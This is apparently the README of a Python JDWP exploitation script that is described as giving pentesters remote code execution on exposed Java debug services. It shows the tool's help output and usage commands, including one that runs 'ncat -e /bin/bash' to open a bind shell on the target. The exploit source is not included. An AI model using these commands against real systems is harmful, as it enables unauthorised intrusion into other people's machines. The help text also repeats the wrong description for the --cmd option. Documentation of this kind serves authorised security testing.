JDWP exploitation script

What is it ?

This exploitation script is meant to be used by pentesters against active JDWP service, in order to gain Remote Code Execution.

How does it work ?

Well, in a pretty standard way, the script only requires a Python 2 interpreter:

% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                      [--cmd COMMAND]

Universal exploitation script for JDWP by @_hugsy_

optional arguments:
-h, --help            show this help message and exit
-t IP, --target IP    Remote target IP (default: None)
-p PORT, --port PORT  Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
	java.net.ServerSocket.accept)
	--cmd COMMAND         Specify full path to method to break on (default:
		None)

To target a specific host/port:

$ python ./jdwp-shellifier.py -t my.target.ip -p 1234

This command will only inject Java code on the JVM and show some info like Operating System, Java version. Since it does not execute external code/binary, it is totally safe and can be used as Proof-Of-Concept

$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

This command will actually execute the process ncat with the specified argument with the rights given to the running JVM.
